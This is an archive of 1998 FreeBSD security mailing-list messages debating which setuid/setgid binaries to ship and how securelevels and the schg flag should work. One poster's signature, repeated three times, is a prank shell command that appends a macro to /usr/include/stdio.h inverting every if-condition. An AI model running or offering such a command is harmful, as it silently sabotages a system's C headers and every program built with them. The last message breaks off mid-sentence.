From owner-freebsd-security Sun Apr 19 06:09:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA17702 for freebsd-security-outgoing; Sun, 19 Apr 1998 06:09:11 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns2.sminter.com.ar (ns2.sminter.com.ar [200.10.100.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA17694 for ; Sun, 19 Apr 1998 13:09:02 GMT (envelope-from Recabarren!fpscha@ns2.sminter.com.ar) Received: (from uucp@localhost) by ns2.sminter.com.ar (8.8.5/8.8.4) id KAA17212 for FreeBSD.ORG!freebsd-security; Sun, 19 Apr 1998 10:07:51 -0300 (GMT) >Received: (from fpscha@localhost) by localhost.schapachnik.com.ar (8.8.5/8.8.5) id AAA00487; Sun, 19 Apr 1998 00:26:55 -0300 (ARST) From: "Fernando P. Schapachnik" Message-Id: <199804190326.AAA00487@localhost.schapachnik.com.ar> Subject: Re: suid/sgid programs To: robert+freebsd@cyrus.watson.org Date: Sun, 19 Apr 1998 00:26:54 -0300 (ARST) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: from Robert Watson at "Apr 18, 98 12:18:57 pm" Reply-To: fpscha@schapachnik.com.ar X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk En un mensaje anterior Robert Watson escribi¢: [...] > We note also that a fairly large chunk of suid/sgid programs are UUCP > programs -- something that a majority of FreeBSD users (I would guess?) do > not use. In terms of reducing risk, disabling suid/sgid on these programs Don't be so sure. FreeBSD boxes are an excellent choice for UUCP servers. Actually I have a few running (and planning to install more). > as part of a hardening process, if they are not needed, would be a great > boon. [...] Fernando P. Schapachnik fpscha@schapachnik.com.ar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 07:54:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA27385 for freebsd-security-outgoing; Sun, 19 Apr 1998 07:54:57 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (ts01-15.waterford.indigo.ie [194.125.139.78]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA27372 for ; Sun, 19 Apr 1998 14:54:46 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id PAA00588; Sun, 19 Apr 1998 15:52:58 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804191452.PAA00588@indigo.ie> Date: Sun, 19 Apr 1998 15:52:58 +0000 In-Reply-To: "Fernando P. Schapachnik" "Re: suid/sgid programs" (Apr 19, 12:26am) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: fpscha@schapachnik.com.ar, robert+freebsd@cyrus.watson.org Subject: Re: suid/sgid programs Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 19, 12:26am, "Fernando P. Schapachnik" wrote: } Subject: Re: suid/sgid programs > En un mensaje anterior Robert Watson escribi¢: > [...] > > We note also that a fairly large chunk of suid/sgid programs are UUCP > > programs -- something that a majority of FreeBSD users (I would guess?) do > > not use. In terms of reducing risk, disabling suid/sgid on these programs > > Don't be so sure. FreeBSD boxes are an excellent choice for UUCP servers. > Actually I have a few running (and planning to install more). I think the point he was making was that most users don't use UUCP, and therefore we shouldn't be shipping UUCP related utilities with set[ug]id bits. Presumably if you can configure UUCP you can use chmod. Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 08:47:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA05214 for freebsd-security-outgoing; Sun, 19 Apr 1998 08:47:01 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from passer.osg.gov.bc.ca (0@passer.osg.gov.bc.ca [142.32.110.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA05190 for ; Sun, 19 Apr 1998 15:46:52 GMT (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.8.8/8.6.10) id IAA15927; Sun, 19 Apr 1998 08:46:37 -0700 (PDT) Received: from ns001-5.wlc.com(204.239.181.65), claiming to be "cwsys.cwsent.com" via SMTP by passer.osg.gov.bc.ca, id smtpdaapnqa; Sun Apr 19 08:46:28 1998 Received: (from uucp@localhost) by cwsys.cwsent.com (8.8.8/8.6.10) id IAA17390; Sun, 19 Apr 1998 08:46:19 -0700 (PDT) Message-Id: <199804191546.IAA17390@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpd017227; Sun Apr 19 08:45:47 1998 X-Mailer: exmh version 2.0.1 12/23/97 Reply-to: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: cy To: Robert Watson cc: Philippe Regnauld , freebsd-security@FreeBSD.ORG Subject: Re: kernel permissions In-reply-to: Your message of "Sat, 18 Apr 1998 13:18:54 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 19 Apr 1998 08:45:44 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > One thing that might be nice to see is a file flag that allows writes/etc > at some securelevels, but not at others. Currently, the behavior seems to > be that schg can be set at lower securelevels, but must be removed before > writes can occur. At high levels, it simply can't be removed. A new flag > might be desirable that allows changes at a lower securelevel, but > prohibits them at a high one. This could be applied to config files, for > example, allowing reconfiguration at securelevels 0, -1, but preventing > configuration of certain key files (/etc/fstab?) when the system is > actually running. This would negate the effectiveness of securelevels and the schg flag. The reason for only allowing updates at securelevels <= 0 is that you need to be in single user state to alter files that are deemed critical, e.g. schg flag, by the sysadmin. If you can only update these files in single user state and single user state requires that you be next to the machine working at the console, then a hacker would have a more difficult time altering files deemed critical to site security. If the proposed flag is tied directly to the network interfaces, e.g. if the flag allowing the schg flag or files with schg flags to be altered at a specified securelevel, then network interfaces should be automatically be disabled at that securelevel or lower. In short, back doors = exploits. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: cschuber@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Government of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 09:00:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07500 for freebsd-security-outgoing; Sun, 19 Apr 1998 09:00:39 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA07472 for ; Sun, 19 Apr 1998 16:00:22 GMT (envelope-from marcs@znep.com) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id KAA25129; Sun, 19 Apr 1998 10:00:04 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id JAA17385; Sun, 19 Apr 1998 09:54:07 -0600 (MDT) Date: Sun, 19 Apr 1998 09:54:06 -0600 (MDT) From: Marc Slemko To: Niall Smart cc: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: <199804191452.PAA00588@indigo.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id QAA07474 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Niall Smart wrote: > On Apr 19, 12:26am, "Fernando P. Schapachnik" wrote: > } Subject: Re: suid/sgid programs > > En un mensaje anterior Robert Watson escribi¢: > > [...] > > > We note also that a fairly large chunk of suid/sgid programs are UUCP > > > programs -- something that a majority of FreeBSD users (I would guess?) do > > > not use. In terms of reducing risk, disabling suid/sgid on these programs > > > > Don't be so sure. FreeBSD boxes are an excellent choice for UUCP servers. > > Actually I have a few running (and planning to install more). > > I think the point he was making was that most users don't use UUCP, and > therefore we shouldn't be shipping UUCP related utilities with set[ug]id > bits. Presumably if you can configure UUCP you can use chmod. Erm... that is an extremely poor policy. Figuring out what needs to be setuid or setgid to what isn't trivial. I'm not sure what you are trying to save here. What is the real issue if someone compromises the user or group uucp? I guess that uucico, which is setgid to dialer, gives them something. If they compromise the uucp uid then they can mess with the uuucp binaries which someone may try to run sometime for some reason, but I really don't see how it is enough to warrant shipping broken programs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 09:24:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09779 for freebsd-security-outgoing; Sun, 19 Apr 1998 09:24:04 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from miro.bestweb.net (miro.bestweb.net [209.94.100.200]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09726 for ; Sun, 19 Apr 1998 16:23:52 GMT (envelope-from jordyn@bestweb.net) Received: from localhost (jordyn@localhost) by miro.bestweb.net (8.8.8/8.8.8) with SMTP id MAA14004; Sun, 19 Apr 1998 12:22:17 -0400 (EDT) Date: Sun, 19 Apr 1998 12:22:17 -0400 (EDT) From: "Jordyn A. Buchanan" To: Marc Slemko cc: Niall Smart , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Marc Slemko wrote: > On Sun, 19 Apr 1998, Niall Smart wrote: > > I think the point he was making was that most users don't use UUCP, and > > therefore we shouldn't be shipping UUCP related utilities with set[ug]id > > bits. Presumably if you can configure UUCP you can use chmod. > > Erm... that is an extremely poor policy. Figuring out what needs to be > setuid or setgid to what isn't trivial. I'm not sure what you are trying > to save here. What is the real issue if someone compromises the user or > group uucp? I guess that uucico, which is setgid to dialer, gives them > something. If they compromise the uucp uid then they can mess with the > uuucp binaries which someone may try to run sometime for some reason, but > I really don't see how it is enough to warrant shipping broken programs. I'm not going to answer most of the concerns above (Mr. Slemko is probably correct, the implications of getting uid uucp access aren't so profound, but perhaps the discussion should be returned to a more generic consideration of how to deal with the many setuid/setgid binaries in the FreeBSD distribution these days), but I will suggest that there is perhaps a middle ground. Why not ship rarely used sets of setuid/setgid binaries with the setXid bit off, but also include a script that allows an administrator to activate them? Such an approach doesn't require that the administrator have intimate details of what needs to be setuid or setgid, but it does require that he or she needs the functionality before scattering setuid binaries across the system. Jordyn |---------------------------------------------------------------| |Jordyn A. Buchanan jordyn@bestweb.net| |Bestweb Corporation http://www.bestweb.net| |Director of Technology +1.914.271.4500| |---------------------------------------------------------------| To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 09:53:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA15312 for freebsd-security-outgoing; Sun, 19 Apr 1998 09:53:36 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.webspan.net (root@mail.webspan.net [206.154.70.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA15281 for ; Sun, 19 Apr 1998 16:53:27 GMT (envelope-from opsys@mail.webspan.net) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (WEBSPAN/970608) with SMTP id MAA26344; Sun, 19 Apr 1998 12:49:49 -0400 (EDT) Date: Sun, 19 Apr 1998 12:53:11 -0400 (EDT) From: Open Systems Networking X-Sender: opsys@orion.webspan.net To: "Jordyn A. Buchanan" cc: Marc Slemko , Niall Smart , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Jordyn A. Buchanan wrote: > On Sun, 19 Apr 1998, Marc Slemko wrote: > > a middle ground. Why not ship rarely used sets of setuid/setgid binaries > with the setXid bit off, but also include a script that allows an > administrator to activate them? Such an approach doesn't require that the > administrator have intimate details of what needs to be setuid or setgid, > but it does require that he or she needs the functionality before > scattering setuid binaries across the system. I've seen this thread go on now, and to be quite honest if you want security you can't do a half baked approach of scripts and bits and what not. If you want a secure FreeBSD your going to have to redesign it. To make at least C2 orange book ratings. For your claims of it being secure to carry any weight with anyone. I mean if NT can get away with its C2 joke rating surely you can hammer out an actually C2 rated version of FreeBSD. There was a mailing list setup for a BSD-C2-audit but it died. FreeBSD is insecure by design. It's mulituser, has no trust models, etc.. I can see people wanting to strip off as much setuid stuff as possible but like I said I think thats kinda half baked. If you want SECURE FreeBSD there needs to be a FreeBSD/C2 project. At least IMO anyway. Otherwise you just keep going the way linux and FreeBSD are, fix stuff new release new exploits,fix stuff, new exploits etc.. True C2 rating wont fix everything but it sure makes it a hell of a lot harder for ankle biters to exploit. I would REALLY love to see a C2 FreeBSD project. Now THAT would be a killer selling point Chris -- "I am closed minded. It keeps the rain out." ===================================| Open Systems Networking And Consulting. FreeBSD 2.2.6 is available now! | Phone: 316-326-6800 -----------------------------------| 1402 N. Washington, Wellington, KS-67152 FreeBSD: The power to serve! | E-Mail: opsys@open-systems.net http://www.freebsd.org | Consulting-Network Engineering-Security ===================================| http://open-systems.net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQENAzPemUsAAAEH/06iF0BU8pMtdLJrxp/lLk3vg9QJCHajsd25gYtR8X1Px1Te gWU0C4EwMh4seDIgK9bzFmjjlZOEgS9zEgia28xDgeluQjuuMyUFJ58MzRlC2ONC foYIZsFyIqdjEOCBdfhH5bmgB5/+L5bjDK6lNdqD8OAhtC4Xnc1UxAKq3oUgVD/Z d5UJXU2xm+f08WwGZIUcbGcaonRC/6Z/5o8YpLVBpcFeLtKW5WwGhEMxl9WDZ3Kb NZH6bx15WiB2Q/gZQib3ZXhe1xEgRP+p6BnvF364I/To9kMduHpJKU97PH3dU7Mv CXk2NG3rtOgLTEwLyvtBPqLnbx35E0JnZc0k5YkABRO0JU9wZW4gU3lzdGVtcyA8 b3BzeXNAb3Blbi1zeXN0ZW1zLm5ldD4= =BBjp -----END PGP PUBLIC KEY BLOCK----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 10:05:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA17806 for freebsd-security-outgoing; Sun, 19 Apr 1998 10:05:42 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (ts01-45.waterford.indigo.ie [194.125.139.108]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA17786 for ; Sun, 19 Apr 1998 17:05:22 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id SAA00814; Sun, 19 Apr 1998 18:03:42 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804191703.SAA00814@indigo.ie> Date: Sun, 19 Apr 1998 18:03:42 +0000 In-Reply-To: Marc Slemko "Re: suid/sgid programs" (Apr 19, 9:54am) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Marc Slemko , Niall Smart Subject: Re: suid/sgid programs Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 19, 9:54am, Marc Slemko wrote: } Subject: Re: suid/sgid programs > On Sun, 19 Apr 1998, Niall Smart wrote: > > > > I think the point he was making was that most users don't use UUCP, and > > therefore we shouldn't be shipping UUCP related utilities with set[ug]id > > bits. Presumably if you can configure UUCP you can use chmod. > > Erm... that is an extremely poor policy. Figuring out what needs to be > setuid or setgid to what isn't trivial. I'm not sure what you are trying > to save here. What is the real issue if someone compromises the user or > group uucp? I understand your point, but I think we are getting too focused on the UUCP utilities in particular which is confusing the issue. My point is that FreeBSD ships with a lot more set[ug]id binaries than the average user needs. Some examples being ccdconfig, ncrcontrol, mtrace, timedc and the UUCP bins. I think a policy of keeping the barest minimum of set[ug]id utilities, leaving the system administrator to chmod the ones he needs at his site, offers a more secure approach than that of putting a set[ug]id bit on every utility which needs one that anyone could ever possibly want to use. I'm not advocating taking this approach to its extremes, but it simply does not make sense to be shipping enabled subsystems which could result in a system compromise when only a tiny proportion of the user population use those subsystems. Of course others will argue that this is all a load of baloney and what we *really* need is a full code audit, even if we had the resources to do this, I would still maintain it is a good idea to ship the system with as few set[ug]id utilities as is practical. Look at Solaris or IRIX for example, there are tens of setuid programs on those systems by default, most of which are never used. And the first step in trying to secure one of those OS is to knock the setuid bits from about three quarters of those files. I disagree that figuring out what needs to be set[ug]id is difficult, confusion about why a directory is such and such a permission or why such and such a utility needs to run as root usually indicates a lack of understanding of how the system is working. If you don't fully understand the permissions on each file/directory in your filesystems then it's your tough luck when things start to go wrong. Regards, Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 10:17:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA20348 for freebsd-security-outgoing; Sun, 19 Apr 1998 10:17:28 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (ts01-45.waterford.indigo.ie [194.125.139.108]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA20180 for ; Sun, 19 Apr 1998 17:16:40 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id SAA00862; Sun, 19 Apr 1998 18:14:42 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804191714.SAA00862@indigo.ie> Date: Sun, 19 Apr 1998 18:14:42 +0000 In-Reply-To: Open Systems Networking "Re: suid/sgid programs" (Apr 19, 12:53pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Open Systems Networking , "Jordyn A. Buchanan" Subject: Re: suid/sgid programs Cc: Marc Slemko , Niall Smart , freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 19, 12:53pm, Open Systems Networking wrote: } Subject: Re: suid/sgid programs > > True C2 rating wont fix everything > but it sure makes it a hell of a lot harder for ankle biters to exploit. > I would REALLY love to see a C2 FreeBSD project. Now THAT would be a > killer selling point This is a rather silly point, the C2 security standard says nothing about checking buffer sizes in setuid programs or about having non executable stacks. FreeBSD could probably be made C2 secure quite easily, it's probably more a matter of cost of certification than potential. I think we would need to add the facility for more detailed auditing and logging and perhaps we would need an ACL FS. Wang Corporation market an OS which uses the Intel 80386's protection domains to provide UNIX emulation while still using the systems underlying mandatory access controls. I don't know much of the technical nitty gritty, they might have more information on their web site. I've seen a B2 OS based on Solaris get rooted though a gethostbyname() exploit, so don't hold too much stead by these security classifications. :) Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 10:26:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA23220 for freebsd-security-outgoing; Sun, 19 Apr 1998 10:26:38 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA23079 for ; Sun, 19 Apr 1998 17:26:13 GMT (envelope-from robert@cyrus.watson.org) Received: from trojanhorse.pr.watson.org (trojanhorse.pr.watson.org [192.0.2.10]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id NAA14521; Sun, 19 Apr 1998 13:26:04 -0400 (EDT) Date: Sun, 19 Apr 1998 13:25:50 -0400 (EDT) From: Robert Watson X-Sender: robert@trojanhorse.pr.watson.org Reply-To: Robert Watson To: fpscha@schapachnik.com.ar cc: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: <199804190326.AAA00487@localhost.schapachnik.com.ar> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id RAA23080 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Fernando P. Schapachnik wrote: > En un mensaje anterior Robert Watson escribi¢: > [...] > > We note also that a fairly large chunk of suid/sgid programs are UUCP > > programs -- something that a majority of FreeBSD users (I would guess?) do > > not use. In terms of reducing risk, disabling suid/sgid on these programs > > Don't be so sure. FreeBSD boxes are an excellent choice for UUCP servers. > Actually I have a few running (and planning to install more). I had more in mind a toggle on our Hardening interface that essentially allowed the user to "turn off" categories of suid programs in the base installation. FreeBSD would still ship with the suid flags turned on for UUCP, but there would be a central administrative toggle for it. Don't get me wrong -- I used UUCP to ship mail and news for a number of years, and am fully appreciative of the service it offers in a weakly connected environment. However, I suspect that the majority of users who would be interested in the hardening project (i.e., web servers, firewall machines, large multi-user setups) are probably not using UUCP and can only benefit from any easy way to disable any potential security problems involved, Robert N Watson ---- Carnegie Mellon University http://www.cmu.edu/ Trusted Information Systems http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 10:59:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA02567 for freebsd-security-outgoing; Sun, 19 Apr 1998 10:59:47 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA02560 for ; Sun, 19 Apr 1998 17:59:43 GMT (envelope-from karl@Mars.mcs.net) Received: from Mars.mcs.net (karl@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id MAA17992; Sun, 19 Apr 1998 12:47:43 -0500 (CDT) Received: (from karl@localhost) by Mars.mcs.net (8.8.7/8.8.2) id MAA08069; Sun, 19 Apr 1998 12:47:42 -0500 (CDT) Message-ID: <19980419124742.02609@mcs.net> Date: Sun, 19 Apr 1998 12:47:42 -0500 From: Karl Denninger To: rotel@indigo.ie Cc: Marc Slemko , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs References: <199804191703.SAA00814@indigo.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: <199804191703.SAA00814@indigo.ie>; from Niall Smart on Sun, Apr 19, 1998 at 06:03:42PM +0000 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, Apr 19, 1998 at 06:03:42PM +0000, Niall Smart wrote: > On Apr 19, 9:54am, Marc Slemko wrote: > } Subject: Re: suid/sgid programs > > On Sun, 19 Apr 1998, Niall Smart wrote: > > > > > > I think the point he was making was that most users don't use UUCP, and > > > therefore we shouldn't be shipping UUCP related utilities with set[ug]id > > > bits. Presumably if you can configure UUCP you can use chmod. > > > > Erm... that is an extremely poor policy. Figuring out what needs to be > > setuid or setgid to what isn't trivial. I'm not sure what you are trying > > to save here. What is the real issue if someone compromises the user or > > group uucp? > > I understand your point, but I think we are getting too focused on > the UUCP utilities in particular which is confusing the issue. My > point is that FreeBSD ships with a lot more set[ug]id binaries than > the average user needs. Some examples being ccdconfig, ncrcontrol, > mtrace, timedc and the UUCP bins. I think a policy of keeping the > barest minimum of set[ug]id utilities, leaving the system administrator > to chmod the ones he needs at his site, offers a more secure approach > than that of putting a set[ug]id bit on every utility which needs > one that anyone could ever possibly want to use. I'm not advocating > taking this approach to its extremes, but it simply does not make > sense to be shipping enabled subsystems which could result in a > system compromise when only a tiny proportion of the user population > use those subsystems. Actually, I would argue that ZERO user populations need those subsystems. Things like "ccdconfig" simply don't need to be run as a user process. If someone is going to be setting up a ccd set, they are ALREADY going to be root! Take the permissions off these things folks. They don't need to be there, and exporting things like this to the user community serves, IMHO, ZERO purpose. Administrative functions should remain accessible only with administrative privileges. If someone wants to override that, they can SUID/SGID the appropriate binaries themselves. The same, by the way, goes for a lot of other things. I see the sanity in SUIDing "ping" for example, since it needs to be root to get the raw socket which it must use in order to create the ICMP packets to send. Same with traceroute. But the huge majority of SUID things out there? They are nothing other than a security menace. IMHO of course. This is all that is SUID here on our cluster machines in the / and /usr directories. /bin/rcp /sbin/ping /usr/bin/at /usr/bin/atq /usr/bin/atrm /usr/bin/batch /usr/bin/login /usr/bin/rlogin /usr/bin/rsh /usr/bin/crontab /usr/bin/lpq /usr/bin/lpr /usr/bin/lprm /usr/bin/newaliases /usr/bin/mailq /usr/bin/hoststat /usr/bin/login.saved /usr/sbin/sendmail /usr/sbin/traceroute I'd love to be able to get rid of permissions on the LPD commands, but unfortunately they really do need them. Those are the ones which, at present, give me the most "willies" right now. The other thing I'd like to explore is the capability of getting rid of the SUIDness to *root* on some of these. LPR, for example, doesn't need to be SUID to root - it may need to be SUID to some safe UID, but root simply isn't required - it attaches to a *non privileged* IP port. Same with crontab, at and batch. *CRON* needs to run as root, but crontab and friends DO NOT. They need to be SUID to something, but again, not root. Sendmail and friends need to be root long enough to bind to port 25. But after that, they could switch to another UID and STAY THERE. Local delivery agents need to be SUID to root on their own, but sendmail doesn't need to run that way other than long enough to perform the BIND to the port. UUCP does this "right" in this package is SUID to *uucp*. That's much safer than root, as uucp doesn't have any special capabilities. Unfortunately I *need* to have login SUID around here due to some things that it does which aren't standard :-) Then again, the BSD standard has it SUID anyway, so you can do a "login" from a shell session and effectively sign in as someone else. -- -- Karl Denninger (karl@MCS.Net)| MCSNet - Serving Chicagoland and Wisconsin http://www.mcs.net/ | T1's from $600 monthly / All Lines K56Flex/DOV | NEW! Corporate ISDN Prices dropped by up to 50%! Voice: [+1 312 803-MCS1 x219]| EXCLUSIVE NEW FEATURE ON ALL PERSONAL ACCOUNTS Fax: [+1 312 803-4929] | *SPAMBLOCK* Technology now included at no cost To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 11:10:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA06405 for freebsd-security-outgoing; Sun, 19 Apr 1998 11:10:32 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA06359 for ; Sun, 19 Apr 1998 18:10:13 GMT (envelope-from robert@cyrus.watson.org) Received: from trojanhorse.pr.watson.org (trojanhorse.pr.watson.org [192.0.2.10]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id OAA24751; Sun, 19 Apr 1998 14:09:57 -0400 (EDT) Date: Sun, 19 Apr 1998 14:09:43 -0400 (EDT) From: Robert Watson X-Sender: robert@trojanhorse.pr.watson.org Reply-To: Robert Watson To: Cy Schubert - ITSD Open Systems Group cc: Philippe Regnauld , freebsd-security@FreeBSD.ORG Subject: Re: kernel permissions In-Reply-To: <199804191546.IAA17390@cwsys.cwsent.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Cy Schubert - ITSD Open Systems Group wrote: > This would negate the effectiveness of securelevels and the schg flag. > The reason for only allowing updates at securelevels <= 0 is that you > need to be in single user state to alter files that are deemed > critical, e.g. schg flag, by the sysadmin. If you can only update > these files in single user state and single user state requires that > you be next to the machine working at the console, then a hacker would > have a more difficult time altering files deemed critical to site > security. > > If the proposed flag is tied directly to the network interfaces, e.g. > if the flag allowing the schg flag or files with schg flags to be > altered at a specified securelevel, then network interfaces should be > automatically be disabled at that securelevel or lower. > > In short, back doors = exploits. I think I may not have expressed my proposal in the best possible way. My intent was to increase the number of securelevels used by the system during boot, layering the various setup and startup activities that normally happen, trying to work out dependencies, etc. I.e., the first section of rc involves mounting filesystems -- this relies on the contents of mount_*, fstab, possibly some lkms, and so on. Presumably this phase of the boot is in securelevel 